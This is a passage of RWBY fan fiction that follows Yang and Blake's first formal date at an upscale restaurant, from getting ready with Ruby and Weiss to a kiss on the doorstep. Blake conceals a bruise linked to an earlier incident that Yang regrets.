truly did, but she'd be lying if she said she didn't love watching her squirm every now and then. It's the best part of being an older sibling…  "Fine." Ruby finally agreed after several moments.  Yang knew that she would cave in, Ruby had always been too curious for her own good. Besides if she slips up I get to have a nice long laugh with Weiss…  "I called in a favor and got us a reservation at The Emporium."  Ruby gave a low whistle, "That's going to break the bank."  "I'm also getting half-off on all of the food."  "Won't be as bad then," Ruby nodded, "Must have been a pretty big favor for all of that though."  "You don't even want to know," Yang said, a sudden bout of nerves overcoming her. "Do you…do you think Blake will like it?"  Yang had been ecstatic when her partner had accepted her offer to take her to dinner tonight, but as the hour of their meal fast approached she felt herself getting more and more nervous. Something that was incredibly rare for the blonde. She needed tonight to be perfect, it absolutely had to be.  It has to make up for yesterday…  She knew that Blake had forgiven her for her transgressions the other day. She had felt the words as much as she had heard them as the Faunus had told them to her. But just because Blake had forgiven her didn't mean that she had forgiven herself. No, Yang doubted she would ever fully forgive herself for what had transpired the day before, but she would try; because Blake had asked her to.  Anything for her.  Tonight's dinner was step-one for the blonde on her road to self-redemption, and the thought of Blake not enjoying herself, even a little bit, at the restaurant was more than enough to make her stomach churn.  Maybe this wasn't such a good idea, doubts plagued Yang, distracting her as Ruby stood up and carefully made her way over to the blonde. The next thing Yang knew a slender arm had wrapped its way around her waist, a head of red-hair pressing against her chest.  "I'm sure that she'll love it and that she'll have a good time." Yang felt Ruby give her a squeeze with her good arm, "Just go and have fun Yang, don't worry about it."  Yang laughed, returning the embrace lightly as to not hurt Ruby's arm.  "I'm that obvious, huh?"  Ruby looked up at her, "Normally, no. But where Blake is involved you're like an open book."  "I just hope that she enjoys tonight." Yang mumbled, her doubts still lingering despite Ruby's reassurances, she wanted – needed - this to be perfect for Blake.  "Yang," Ruby sighed as she pulled away, silver eyes looking up into Yang's face. "I know that you think that there's a lot riding on tonight but there really isn't. Blake won't break up with you or think any less of you even if tonight goes horribly wrong; I know that you know that. So you just need to relax and have fun, otherwise neither of you will have a good time."  Yang nodded her head, what Ruby had just said did make a lot of sense. If she remained as she was and allowed her guilt and doubts to dictate her mood and actions then neither she nor Blake would enjoy the evening, and that most certainly wasn't what she wanted. No, what she wanted was to have a nice; somewhat fun, somewhat romantic dinner with her girlfriend. So that's what she was going to do, negative thoughts be damned.  "You've gotten way to good at this, you know that?" She gave Ruby a quick hug. "Thanks, sis."  "You don't have to thank me," Ruby returned the hug with her good arm. "Just promise me that you'll allow yourself to have fun tonight."  "I will, I promise." Yang hugged her little-sister closer.  "Well, I think that about does it." Weiss said as she stepped away from Blake, allowing the Faunus to inspect herself in the mirror.  Blake's eyes darted around her reflection, irises taking in how she looked in the long-sleeved-dress that Weiss had painstakingly helped her pick out. The dress was a deep-burgundy in color and its silky material clung to her upper-torso like a second skin - accenting her figure perfectly while still effectively leaving everything a mystery - it flowed all the way down her arms and to the onyx-colored belt that she wore tightened around her midriff. From there it loosened, cascading down in vertical ruffles before halting just below her knee, where her trademarked black-stockings came into effect hiding her well-toned legs from any unwanted onlookers.  "It's perfect," She smiled, turning to face Weiss. Her smile waned upon seeing the heiress staring at her with an almost critical-eye. "Is something wrong?"  Weiss shook her head, slowly walking from where she was to circle around Blake. "No, you're right it's perfect…but something's missing."  Blake was just about to point out the paradoxical nature of that statement when Weiss stopped and excitedly exclaimed: "That's it!" from behind, startling her.  "For the love of…" She whirled around on the other girl. "Give me a heart-attack why don't you!"  "Hold that thought," Weiss held up a thin-finger, "I have to go get something, I'll be right back!"  With that the heiress left the room, leaving a slightly agitated and dumbfounded Blake in her wake. Shaking off Weiss's erratic behavior Blake took a deep breath, focusing in on slowing her rapidly beating heart. She had managed to repeat the process ten times before Weiss came bounding back into her room, excitement that could rival Ruby's normal jovialness plastered all over her face. In her petite hands Weiss carried a medium sized white jewelry box, the Schnee family crest was embellished in its entire splendor on the sides.  Blake's eyes widened when she realized exactly why Weiss had run off to get the box. "Weiss, no. I-I couldn't possibly," She stammered, only to be silenced by her white-haired friend.  "Nonsense, of course you can." Weiss waved her concerns off with her hand as she set the box down upon the dresser, her thumb quickly flipping the latch open. "And if you're worried about these being some type of precious family heirloom, don't. This box is my personal collection."  Weiss turned her attention back to her. "Now then, turn around while I dig what I had in mind out of here." Weiss said, her attention turning back to the container that was overflowing with a vast array of trinkets and bobbles. Blake just watched, motionless, until Weiss looked back up, a scowl sculpted across her face. "I said to turn around!"  Hearing the beginnings of anger creeping into Weiss's voice and fearing that she may further enrage the heiress, which was something that she really wanted to avoid, Blake promptly did as instructed and turned around. Her eyes seeking out something to stare at that wasn't Weiss and her jewelry box. She soon heard the tell-tale sounds of rummaging, leaving her with little doubt that Weiss had returned to her previous task of searching through the box.  But for what though?  She certainly had no idea. Jewelry had never been something that the Faunus had really bothered herself with. Sure she had a couple of necklaces hanging around and a pair or two of earrings, but other than that, nothing. She had always preferred lying low, something that she found was more difficult when wearing something, such as gold or silver, which was designed to draw ones eye. However, for the purpose of the evening, she supposed she could let her preferences slide. Especially if Weiss was so adamant about pushing the matter.  "Found it," Weiss huffed from behind Blake, a fair bit of annoyance in her voice. "I swear, the next time Ruby goes through my things and doesn't straighten it back out…"  Blake smirked to herself. That explains that.  "Alright," The sound of Weiss's feet shuffling across the carpet caused her ears to twitch. "Stand still."  Blake did as she was told; remaining absolutely still as slender hands gathered up her onyx tresses and moved them aside. She sucked in a shallow breath as cool metal and even colder hands came into contact with the sensitive skin on the side of her neck.  "Sorry," The apology was mumbled.  A moment later Weiss pulled her hands away, leaving a light weight to settle around Blake's neck.  "Well, take a look." Weiss said as she stepped away, allowing Blake to turn around and once again inspect herself in the mirror that rested atop her dresser.  The newest addition to her wardrobe was a simple silver-chain necklace; that was made up of several interconnected rings that alternated from large thick loops to smaller more delicate-coils. All in all it was a modest affair, one that matched the rest of her clothing perfectly.  "It's beautiful," Blake brought her hand up, calloused fingers latching onto one of the larger links. The smooth surface of the silver-link cooled her fingers as she rolled it around, completely captivated by the pieces simple – yet majestic - beauty.  Weiss hummed, drawing Blake's eye from her reflection and to the heiress. Weiss stood with her arms crossed, hand resting against her chin appraisingly. Icy-blue eyes narrowed in thought.  "You can keep it if you like."  "Really?" Blake asked, cheeks turning slightly pink at just how fast she asked the question. Despite her aversion to jewelry she had to admit, she liked the necklace.  "It looks far better on you than it does on me." Weiss said, shrugging, "Not to sound vain but it's always been a little too simple for my tastes."  "Are you sure?" Blake asked, doing her best to keep her voice even. Should it betray her hopes.  "I am," Weiss nodded. "Besides, I can see how much you like it in your eyes. It'd be a crime for you not to have it."  Blake looked away, finding the floor to be quite interesting. Despite her team's best efforts random acts of kindness were still something that she struggled with. "Thank you."  "Don't mention it," Blake could hear the smile on the heiress's lips. "Now, what do you say we head down, I'm pretty sure I heard Ruby and Yang heading down stairs a few minutes ago."  Weiss's assumption was correct. Blake's Faunus ears had easily been able to pick up the sounds of footsteps and idle-chitchat as their respective girlfriends had walked past her room, even with her door closed shut.  "You go ahead."  "You sure?" Weiss asked brow knit in confusion, "I thought you'd be chomping at the bit to see Yang all dolled up."  The heiress was correct again, Blake was dying to see Yang. Despite her desire to see Yang though, she couldn't head down just yet. There was one last thing she needed to do.  "I am, I just have a few finishing touches to do with my makeup and I'll be down."  Weiss's eyes widened, realization coursing through her cold irises.  "Alright," Weiss nodded. "I'll see you down there then."  Blake watched as Weiss turned and left the room, taking her jewelry box with her and leaving the door slightly ajar as she went. Once the final traces of white left her vision she sighed, she had been dreading this part ever since she had started getting ready.  Taking a deep breath, she turned, feet carrying her towards her bathroom. Stepping inside her hand expertly flicked the light switch on; a soft humming filled her ears as the fluorescent light bulb flicked to life. Its soft welcoming light filled the space instantly.  Stopping in front of her vanity she pulled open the drawer, plucking out a selection of different bottles and tubes, she set them down on the counter. Looking up, she tilted her face to the right, inspecting the black and blue bruise that covered a fair portion of her cheek. It was an ugly blemish that stood out in stark contrast against her skins naturally fair complexion.  It was also something that she knew would stifle any enjoyment Yang might have while they were out. It's existence an unwanted reminder of what had transpired the day before. Ever since she had agreed to the date she had been channeling her Aura into the wound, not enough to tire her, but enough to hopefully rid herself of the hurtful imperfection. It had worked, but it was nowhere near gone.  She frowned, eyes doing their best to erase what remained of the mark by the force of sheer will. Realizing the futility of that particular exercise she sighed again, hands coming up to grab one of the tubes she had previously set aside.  Popping the lid open, she squeezed the bottle, allowing a small amount of flesh colored cream to spread across her fingers. Bringing her hand up, she smeared the concealer around the bruise, gritting her teeth around the small wave of pain that was born from the action.  The next several minutes passed by in a blur as Blake painstakingly applied the makeup. There was a fine line that she was trying to walk. Too little makeup and she wouldn't effectively hide the offending mark, too much and she risked drawing attention to that side of her face. Neither of those were the result she wanted. No. She wanted to find that elusive spot that rested somewhere right in the middle.  Giving one last dab to her cheek she set the bottle aside, head turning to allow her a better angle at which to criticize her efforts. She leaned closer to the reflective glass, eyes narrowing as she continued her inspection. She had succeeded in hiding the bruise with only a thin outline of makeup being visible. Not bad, she pulled back satisfied with the results.  That satisfaction lasted all of three-seconds as another thought occurred to her, its not me it has to fool though.  She knew that the presence of the bruise would be weighing heavily on Yang's mind all night, but she hoped that maybe, just maybe if she could hide it that it wouldn't be that bad, Out of sight, out of mind. Doubts ran rampant through her mind as she wondered if her makeup job would be enough to make Yang forget about the bruise. She checked her scroll, frown returning as she did, there was no time left for her do anything else.  It'll have to do.  Giving her hair, which she had decided to just leave down and straight, a quick flip and fluff she turned and exited the bathroom. Cutting the light off as she went. Pausing beside her bed, she grabbed her brown-leather shoulder bag. Checking to make sure that everything she would need was in fact inside the bag, she fed her arm through as she slung the strap over her head; allowing the bag to rest comfortably against her hip. She then quickly slid into the pair of two-inch black heels that she and Weiss had selected and set aside earlier.  Now fully clothed and as ready for the date as she would ever be she headed out, cutting her light off as she went. She didn't bother closing the door; she doubted Ruby and Weiss would enter her room while she and Yang were out. Even if they did they would find nothing surprising, the tighter than tight quarters of their dorms at Beacon had left very few secrets between the four girls.  Walking down the hallway she quickly found herself at the top of the stairs. The sound of her team's laughter soon reached her ears; the jovial sound added an extra kick to her step. Taking the stair's two at a time she descended down into the foyer. Once there she wasted little time in heading to the living room, where the laughter was emanating from.  She cut the corner; face instantly splitting into a smile at what was before her. Weiss was sitting on the love-seat face as red as a tomato, as a laughing and very bouncy Ruby, sat draped across her lap.  Ruby was the first to notice her, a call of; "Blake! You finally made it down!" Spilt excitedly from her lips, silver eyes scanned over her. "You look really pretty!"  "Thank you," Blake could feel her cheeks heating up at the compliment. "So, where's Yang?" She asked, hoping to change the subject and also having noticed that her date was nowhere to be seen.  The smirk that settled over Ruby's lips could only be described as mischievous. "She took a glass to the kitchen for me," Ruby said, her voice sharing in the same mischievous quality as the smirk that dominated her lips. "She should be back any second now."  As if answering her sister's cue, Yang chose that moment to reenter the room.  …And that's also when Blake felt her heart jump up into her throat.  For as long as she had known her fiery partner, even back before her feelings had developed from those of platonic friendship and into the romantic ones she currently harbored, she had found Yang beautiful. As Yang stood across the room from her now though…beautiful didn't even come close to describing her.  The blonde woman was draped in a floor-length dress whose orange color perfectly matched that of the setting sun. The dress had one sleeve; the orange-fabric fell from Yang's right shoulder all the way down to her wrist, while her left shoulder and arm were open to the air. Blake's eyes lingered upon the exposed milky-skin of Yang's collarbone for several moments before she forced them further south, following the line of the dress as it fought to cover Yang's ample bosom.  With every inch down her eyes traveled, Blake could feel her heartbeat quicken. Once past her chest the dress continued its mission of accenting every square-inch of Yang's body, perfectly, Blake absently wondered if the blonde had had the dress made specifically for her. It certainly fits her like a custom…  Going down beyond her hips the dress opened up, with slits running from thigh-high all the way down to where it touched the floor. Allowing Yang's perfectly toned legs to be on display as she walked.  Reaching the end of her journey Blake's eyes snapped back up to Yang's face, which was framed by golden curls. Amused lilac stared back at her.  "Like what you see, kitten?" Yang's smile was as bright as the sun.  "I…uh," she faltered; unaware that Yang had caught her gawking.  "I'll take that as a: yes." Yang laughed.  Blake couldn't decide if she loved the sound or if she hated it.  Yang smiled at her again, decision made. "Are you ready to go?"  "As I'll ever be." Blake answered, her heart having finally returned to its normal location and rhythm within her chest.  "Great!" Yang said as she grabbed a small red-wrist bag from the mantle. "The cab should be here soon."  "If by cab," Weiss started, reminding Blake of the presence of the red and white couple. "You mean personal limousine, you'd be correct."  "What do you mean?" Yang asked, confusion plainly written across her face.  "Well once Ruby and I returned home earlier and learned of your date I knew one of two things. One: either you were going to call a cab," Weiss counted the points off on her hand, a small smirk forming on her lips. "Or two: you were going to take that deathtrap that you call a bike."  "Hey!" Yang exclaimed. "Bumblebee is not a deathtrap!"  "Say's you," Weiss said, with a smirk that Blake found to be incredibly teasing. "Anyway, I figured that you would do one of those things and I'll be damned before I let you take that deathtrap out, let alone a public cab."  "So what did you do, princess?" Yang asked, arms crossing indignantly over her chest, her voice thick with annoyance and anger.  Blake idly wondered if she would have to prevent her date from reaming Weiss. Nobody, not even Ruby, got away with calling Yang's beloved bike a 'deathtrap' without some kind of retribution.  "What, isn't it obvious?" Weiss directed the question towards Yang, voice decidedly sweet. "I called my chauffeur to drive you tonight."  Blake had to stifle a laugh as she watched Yang's expression go from outrage to bewilderment.  "You-wha, really?" Yang stammered the words out, making Blake's war with her laughter that much harder for the Faunus to win.  "Yes, really." Weiss said a smug, satisfied look on her face. "They should be here any minute and I think you'll find the ride far more enjoyable in the limo than you would have your bike or a cab."  "I-uh," Yang's eyes moved away from Weiss and to Blake, lilac pools silently asking for help. Blake gladly answered the call.  "What I think Yang is trying to say is; thank you, Weiss." She said, quickly adding on. "It's a very lovely gesture."  Blake managed to hide her smirk as Weiss's face flushed slightly at her comment, but only just.  "Yes, well." Weiss said, clearing her throat. "You were both supportive of mine and Ruby's relationship, so it's honestly the least that I can do."  "Aww, princess! You really do care!"  "Silence you oaf!"  "Yeah," Ruby finally piqued up. "Leave Weiss alone Yang!"  Blake wasn't sure what it was, be it: the teasing tones, the smiles and smirks, or just the sight of Ruby trying to be intimidating while still sitting curled up in Weiss's lap. Maybe it was a combination of the three, hell it could have been something else entirely. Regardless of what it was there was something about the current scene before her eyes that caused her to burst out in laughter. The other girls soon followed, filling the room with a cacophony of giggles and chuckles.  As abruptly as the laughing fit had begun, it ended, leaving the four occupants of the room panting and out of breath.  "Man," Yang said, hand wiping at tears that had formed at the corner of her eyes. "That felt good!"  Blake had to whole-heartedly agree with her partner that had felt good. It had been uplifting, a boost to her spirits that she hadn't even known she needed. She tried and failed to remember the last time that she had laughed that hard. It can't have been that long ago, could it? It must have been if her normally robust memory had no record of it.  "It most certainly did." Weiss agreed.  Blake's feline ears twitched as a knock sounded from the door. The Faunus looked to her left, eyes falling onto the white-rectangular shape of the door. Butterflies fluttered in her stomach, the sound of the prim and proper knock could mean only one thing.  It was time.  "That must be Robert."  The sound of Weiss's voice pulled Blake's attention back to the living room, her eyes instantly locking with Yangs. The searing look within those purple pools was more than enough to make her breath hitch.  Yang smiled.  "Well, are you ready to go partner?"  "Yes," Blake squeaked the word out. Her voice sounding far more anxious than she wanted it to, she swore she could see Yang's smile deepen.  "Alright, let's go!" The blonde quickly padded across the room, offering her arm out to Blake, her million-watt smile never once leaving her face.  Blake happily accepted the offer, intertwining her arm around Yang's. Their hands found each other next, palms resting against one another as their fingers laced together. Together the couple turned to head towards the door. Just as they were about to open the front door and cross over the threshold, Yang stopped.  Blake turned to her partner, the question on her lips dying as soon as she saw the glint of mischief in her eyes.  "Weiss!" Yang called out, voice serious despite the teasing expression she wore. "You had better not try any funny business with my sister!"  The only response was a strangled mass of flustered phrases and words, causing the both of them to laugh as Yang lead them out the door.  As promised a limo and its driver awaited them.  The limo was what Blake had come to expect from vehicles associated with the Schnee's. The car sported a pristine white paintjob that was finished in such a way that it gave the car an almost ethereal glow, not unlike that of a Dust crystal. The Schnee family crest was embellished along the side.  The driver, Robert, Weiss had called him. Was a man who, by Blake's eye, appeared to be in his mid to late fifties. His eyes, which were the deepest shade of brown that the young Faunus had ever seen, seemed to smile as the two women approached.  "Good evening ladies," he started with a thick accent that Blake didn't recognize. "My name is Robert Clay; I will be your driver this evening."  Blake gave a courteous nod in return, catching Yang do a similar gesture in her peripheral vision. Pleasantries out of the way, Robert opened the door, holding it open for them as they entered.  Yang gestured towards the door with her free arm, "After you, kitten."  Blake quickly entered the limo, hoping that by doing so she could hide the small bush that she knew colored her cheeks at the nickname. Scooting far enough across the plush leather seat to allow room for Yang, she settled down. Her eyes turned back to the door, where she saw Yang handing a folded piece of paper to Robert.  "This is where we're going; you know how to get there?"  Robert unfolded the paper, a smile gracing his lips. "Of course, madam. And may I say, it's a fine choice."  Blake wasn't positive, the dim lighting from within the limo affecting her vision, but she was almost certain that Yang was blushing.  "Thanks," Yang said as she slipped into the car, the door closing behind her.  "So, where are we going?" Blake asked as she slid closer to Yang, basking in the natural warmth that radiated from her partner. She grabbed ahold of the hand that rested on the cushion between them, once again interlocking their fingers.  "Oh, wouldn't you like to know." Yang said her voice teasing, though Blake was pretty sure she could hear a small waver in her voice.  It almost sounds like she's nervous. The idea that her date was also a little nervous did wonder's to quell the butterflies that continued to flutter around in her stomach.  "So you aren't going to tell me?" She asked, head coming to lean against Yang's broad shoulder. She could feel Yang shake her head as the limo gracefully jerked into motion.  "Nope, you'll just have to wait and see. My lips are sealed."  She had expected such an answer, but she'd be lying if she said she wasn't a little disappointed that Yang wouldn't tell her where they were going.  She always has liked surprises…  "Fine," her eyes slid shut. Yang's sunny-warmth and comforting presence combing perfectly with the vibrations of the limo's axle through the seat, the combination lulled her into a peaceful-contentment. She felt Yang squeeze her hand; she returned the gesture a smile on her face.  "I'll wait and see."  The Emporium.  Blake didn't believe it at first, but upon rereading the giant porcelain sign with bright red letters that were embellished with bright-white-neon. There was no denying it; they were at The Emporium, one of the most prestigious restaurants that Vale had to offer.  She looked to Yang, who had just finished talking with Robert and was making her way over to join her, a smile ever present on her face. One question raged within her mind.  How?  How in the world did she manage to get us a table here?  "So, should we go in?" Yang asked as she came to stand next to her.  Blake just nodded in response, not trusting her voice to not ask the question that currently occupied her mind. She would ask Yang how she had pulled this off later, when they weren't standing out in the middle of the entryway. Accepting the hand that was offered to her, Blake allowed Yang to lead them inside, passed the grand granite columns and into what served as the restaurants foyer, glistening gold chandeliers hung low from the ceiling.  The blonde lead them up to a podium, a man – a wolf-Faunus by the looks of his ears – stood waiting patiently behind it.  "Good evening and welcome to The Emporium," He greeted, in a well-practiced tone of voice. "Do you have a reservation?"  Yang spoke her name which caused the man to return his eyes to the book that lay open before him, finger tracing along the list of names that were written in black and blue ink. He turned the page, finger reaching the halfway point before its journey ended.  "Ah, here you are Miss Xiao Long: corner-table for two." He paused, withdrawing two menus from a hidden cubby on his side of the podium. "If you'll follow me."  With that the man turned and led them deeper into the restaurants interior. Blake trailed behind Yang as she followed the attendant, the blonde's hand still gently clasping her own. She allowed her eyes to wander, trusting that Yang would prevent any unwanted collisions.  Everywhere her eyes went she could see people sitting and dining. Some exchanged idle chit-chat while others seemed content to enjoy their food in what appeared to be companionable silence. One thing that stood out though was the dress of everyone in attendance, they were most certainly amongst some of Vale's upper-class tonight.  Before Blake had enough time to actually ponder if she was underdressed, they stopped, having arrived at their destination.  "Here we are ladies," he placed the menus down, one in front of either of the two chairs. "May I interest either of you in a glass of complimentary water?"  The two girls nodded.  "Very well, your waiter will be along shortly with your drinks and to take your orders." With a bow and one final smile the Faunus man turned and left.  Blake and Yang stood momentarily motionless, before the blonde moved past Blake and to the table. Coming to a halt behind one of the chairs she pulled it out, offering it to the Faunus. "My lady."  Fighting a losing battle with a blush Blake gratefully accepted the chair, hiding her stocking covered legs under the table as she slid the chair forward. She felt the tips of Yang's fingers ghost over her shoulder as the blonde moved around from behind her, gracefully occupying the seat opposite her. When Yang's gaze finally rose up to meet hers she was greeted with teasing eyes and a smirk so confident that it was borderline obnoxious.  "Sooo," Yang drawled the single syllable out for all it was worth. "What do you think?"  "I think you've out done yourself." Blake again allowed her eyes to pander over the room. The table that they were seated at was nestled quietly in the back-corner, allowing them a higher level of privacy than was possible elsewhere. It was intimate. "I'll admit, when you asked me to dinner I never expected that we would end up here."  Yang looked like she was about to respond but was interrupted as their waiter arrived, placing two tall glasses that threatened to overflow with chilled water before them. The man quickly took their orders and left, promising to soon return with their desired foods.  After that a silence fell over the couple, one that felt all too awkward for Blake. Dating had never been her forte; as a matter of fact she could count on one hand the number of dates she had ever been on. As such she really had no idea where to begin or what to even say, sure she had read more than her fair share of romance novels but those were fiction, this was real. It was actually happening and as exhilarating as it was, it terrified her.  She heard Yang laugh.  "Adorable!"  Blake's brow knit in confusion as her date continued to giggle. "What's, 'adorable?'"  "You!" Blake wasn't sure if she should be flattered or offended, luckily for her Yang was in an explaining mood. "I can see the gears turning in your head; you're way overthinking this Blake. It's a date; it's not a test or a mission."  Yang gave another short chuckle, "You just need to relax."  "That's easy for you to say, first dates must almost be second nature to you by now." As soon as the words left her mouth, Blake gasped. Unable to believe that she had allowed the sentence to be spoken, she instantly began to formulate an apology. Only to, once again, have her ears met with the heavenly sound of Yang's laugh.  "You're right," The blonde started, "I definitely have more experience than you do."  Blake couldn't believe her eyes or ears; Yang was laughing and smiling at a statement that most anyone else would have taken offense to. This is Yang though, her thoughts reminded her, she most certainly isn't 'anyone else.' The thoughts served to settle some of her nerves, though what happened next took her by complete surprise.  Yang's eyes and expression, both, dropped their teasing and confident façade, trading it out for one that was far more sincere and prudent. "Though, I don't think I've ever had one as important as tonight."  The sound of Yang's voice as she spoke those words caused Blake's heart to flutter. In the four years that she had known her partner she had never heard her sound that vulnerable. She swallowed around the lump that had formed in her throat. "So, I take it I'm not the only one that's nervous then?"  "Oh no, you should have seen me when I was getting ready," Yang shook her head, a tiny smile playing at her lips. "If it wasn't for Ruby I don't think I ever would have left the room."  Blake took a sip of her water, an attempt to stall the conversation in order for her to come up with something else to say. If her heart also decided it wanted to stop beating like the wings on a humming-bird that would also be nice, though she doubted that that would happen anytime soon this evening. Finally her brain decided on a topic, placing the chilled glass back down she looked up, finding that Yang's eyes were already on her. She had to fight to keep from squirming.  "So, I take it from what you said that Ruby helped you pick out what to wear tonight?"  "Yup," Yang said, pausing to also take a drink from her own glass of water. "Rubes has always been somewhat of a springboard for me."  Blake smiled at the affectionate nickname that the blonde had for her sister, "Well remind me to thank her." She took a deep breath, "You look really beautiful tonight Yang."  "Nowhere near as beautiful as you are though."  How?  How did Yang always find a way to turn her compliments around, make her blush? She certainly had no idea and she wished that she did, if only to even the playing field between them. Luckily enough for Blake their waiter chose that exact moment to return, placing their plates down directly in front of them. Allowing for the conversation to fall to the wayside as they both dived into their meals.  Silence reigned as they ate. Blake enjoying her fish fillet, the pink and tender meat hit just the right spot in the Faunus's stomach, causing a small purr to rise from her chest. Yang to, seemed to be enjoying her meal, if the soft-satisfied sighs that were reaching Blake's ears were anything to go by.  As they continued to eat, Blake started trying to think up some topic for discussion. While she enjoyed the companionable silence that had fallen over the two of them, they would eventually need to resume some form of conversation, and this time Blake planned to be the one that came out on top.  "So," She paused mid thought, looking up to see Yang dabbing at some steak sauce that was at the corner of her mouth with the cloth napkins that they had been provided. "When did you realize that you were interested in me?"  She couldn't prove it, but she swore there were times that Yang could read her mind. How else could she explain what had just transpired? Being sure to remind herself to ask Yang how she did that later she turned her attention to the question at hand.  "I'm not exactly sure when it happened," Blake explained as she took a drink of water to wash her last bite of food down. "I went to bed one night with you on my mind and when I woke up the next morning I don't know…something just clicked."  She shrugged, she knew it wasn't the most romantic answer in the world but it was the truth. She had woken up one morning with an almost uncanny desire to see Yang and upon fulfilling that desire, her heart had fluttered. From there it had taken the young Faunus exactly two days to realize just exactly why that had happened. She had fallen for her partner and fallen hard.  At the time this revelation had been something that she had no idea how to deal with. For one she had never felt that way towards another girl before, and if that wasn't difficult and confusing enough, Yang had been right in the middle of one of her more "serious" relationships at the time. Given all of that she had decided to do what she had always done, what she did best, bottle it all up and ignore it. That had worked, until their graduation night, until Yang had kissed her.  She smiled at the memory.  "So," Yang's voice tore her away from her thoughts. "I guess that would make me your first girl then?"  Blake nodded, "What about you?"  "I've dated a couple before you, never anything serious. Or what qualifies as serious to me."  Blake hummed, she knew before asking the question that Yang held no real preference as to what gender she dated. As far as she knew Yang didn't have a discriminatory bone in her body, which was one of the many things that she loved about the brawler. "So what about you then, how long have you…"  "Three years-six months." Yang rattled off.  Blake choked on her drink, "You've…" She coughed, desperately trying to clear her airway. "That long and you never said anything?"  "Neither did you," Yang shrugged, "And the last thing that I wanted to do was make things awkward between the two of us, so I just let things be."  "So that night on the roof…" Blake allowed the question to go unfinished.  Yang smiled, appearing slightly sheepish, "Like I said that night, I just really needed to kiss you at least once." Her expression turned somber then, "I figured that that was my last chance…and I just needed you to know…"  Blake reached across the table, her hand grabbing ahold of Yang's own. She squeezed it, waiting for Yang to look at her. As soon as lilac met her eyes she began, being sure to keep her voice soft and low.  "I'm really glad that you did that." Her voice caught then, the emotions from that night crashing into her like a tidal wave during a monsoon. The doubts, the fears, all of it, came flooding back. She felt Yang give their conjoined hands a squeeze; the action grounded her, giving her the clarity she needed to continue. "I don't know what I would have done had you not.  "Like I've told you, I went up there because I was afraid. So much was changing, everything was changing." She took a shuddering breath, blinking back tears. "Out of it all though I…I was most afraid that I wouldn't see Ruby, Weiss, or you ever again…so when you kissed me it gave me…hope."  Blake dropped her eyes down to the table, finding herself unable to keep her gaze locked with Yang's any longer. She hadn't said it, at least not directly, but she had just bared her heart to Yang. Something that she was sure didn't go unnoticed by the blonde; Yang had always had an uncanny ability to read her.  "Hey," She felt a tug on her hand, causing her to bring her eyes back up. Watery purple stared back at her. "Me too."  The tears she had been holding back poured forth at the words. They had been whispered, but the adoration and love that was behind them were as clear as the smile that was currently on Yang's face…  "May I interest either of you in desert?"  Blake flinched, pulling her hand away from Yang's as she did so. How did I not hear him coming? Her ears flicked in rabid annoyance as she glared up at their waiter, all the while wishing that she had Weiss's ability to dismiss people by merely looking at them. She made another mental note to ask the heiress just exactly how she managed that trick later.  "I'm fine thanks," Yang said, her attention then turning to Blake. "What about you, want anything?"  "No thank you." She continued to glare at the man as she declined the offer. She knew that he was just doing his job, but he had shattered a moment that the Faunus had been immensely enjoying – despite her blush – and for that, he had earned the full extent of her ire.  Yang must have sensed her growing annoyance as she quickly asked if the man could bring the check over.  She continued to stare after him, eyes doing her best to bore a hole through his back. Finally he vanished around a corner that led to, what Blake assumed, was an employee only section of the restaurant.  Unable to continue her attempt at making the poor waiter disappear off the face of Remnant, she returned her attention back to her table, finding that Yang was staring at her with barely contained laughter.  "What?" She snapped at her date, causing the blonde to let loose a laugh.  "Nothing, it's just that you looked like you were about kill our waiter with your knife."  "I was heavily considering it." Yang laughed again, forcing Blake's lips to form a small smile. "He's lucky that you sent him away when you did."  "I'm sure."  She met Yang's gaze then, a small joyful lopsided-smile adorned her face. If a picture was worth a thousand words, Yang's smile then, was worth well over ten times that amount. But nothing, not even her smile, could compare to her eyes. Those swirling pools of amethyst - that were speckled with the tiniest amount of silver - held such beauty and conveyed so many different emotions, that Blake didn't know which held her interest more. The splendor or the depth.  Something that she didn't recognize flashed behind Yang's eyes, whatever it was, it sent a shiver up and down her spine. She was just about to say something, when…  "Here's your check."  Blake sighed as she exited the limo, a laughing Yang following closely behind.  "I swear the look on your face…" Yang burst into another fit of laughter, something she had been doing since they had left The Emporium. "I wish I had a picture of it, Ruby would have gotten a kick out of it."  "Yes, I know." Blake's ears drooped, embarrassment coursing through her veins. "You've said as much at least twenty times…"  The limo pulled away, the sound of the tires rubbing over the pavement serving as a buffer against Yang's raucous laughter. Blake turned away from the sound, feet carrying her up the stoop and to the door. She was just about to open it and enter the house when Yang caught her, gentle hands grabbing ahold and turning her back around.  "Hey," Yang murmured, worry filling her voice. "You know that I'm just teasing you right?"  "I know," She nodded as she angled her face up, eyes instantly seeking out Yang's own. "I just…" She stalled, looking away again.  "'Just,' what?" Yang whispered.  Blake tried to pull away, but with the door at her back and Yang directly in front of her, there was nowhere for her to go.  "I wanted tonight to be…special," Blake was cutoff as Yang laughed.  Shock, hurt, and confusion, all three ran through her at the action. Laughing? Why is she laughing?  "Oh, that's rich," Yang said as her laughter died off into giggles. "You think tonight was ruined because you got a little flustered at the waiter?"  Blake just stared up at Yang, confusion becoming her most dominant emotion as the blonde smiled at her.  "Your too adorable for your own good, do you know that?" Yang shook her head, "Let me tell you what tonight was for me."  Blake blinked as Yang brought her hands up, one resting against the nape of her neck while the other cupped her unbruised cheek. Warmth spread through her at the contact, her breathing hitched.  "Tonight was the night that I went out to dinner with my girlfriend. Someone who is so intelligent, kind, and beautiful, that I still question if this is all one big dream. I mean why would she settle for me? Why? After everything that I've done…"  The hand that was at her neck moved then, coming up to allow a thumb too gently rub at the makeup that Blake had labored over hours before hand. The Faunus leaned into the touch, the small tings of pain being far outweighed at the pleasure of feeling Yang's touch.  "When you first came down earlier I almost did a double take." Blake could hear the hitch in Yang's voice.  "I…I wanted to take your mind off it." She swallowed the lump that had formed in her own throat. "I knew that if you could see it, it would be all that you could think about."  "You have no idea what that means to me. That you care enough to do something like that…for me"  She looked deeply into Yang's eyes, eyes that were glistening with unshed tears.  "You…" She licked her dry lips, face heating up. "You could show…"  She never got to finish that sentence as a pair of soft-warm lips claimed her own. Her eyelids fluttered shut as she allowed herself to become lost in the feeling of the kiss. Her hands wandered, becoming lost within the mass of golden curls that made up Yang's mane. Hair as smooth and soft as silk glided through her calloused fingertips like water. She drew her tongue across Yang's bottom lip, asking for permission. A fire ignited in her heart as Yang opened her mouth, allowing the Faunus to deepen the kiss. She could feel Yang moan before the sound ever reached her ears, the vibrations coursing through where their lips touched.  Eventually the burning sensation within her moved from her heart and into her lungs, forcing her to reluctantly pull away from the kiss. She panted as she opened her eyes; a happy-content smile gracing her lips. "That was…amazing."  "Yeah," Yang agreed, clearly out of 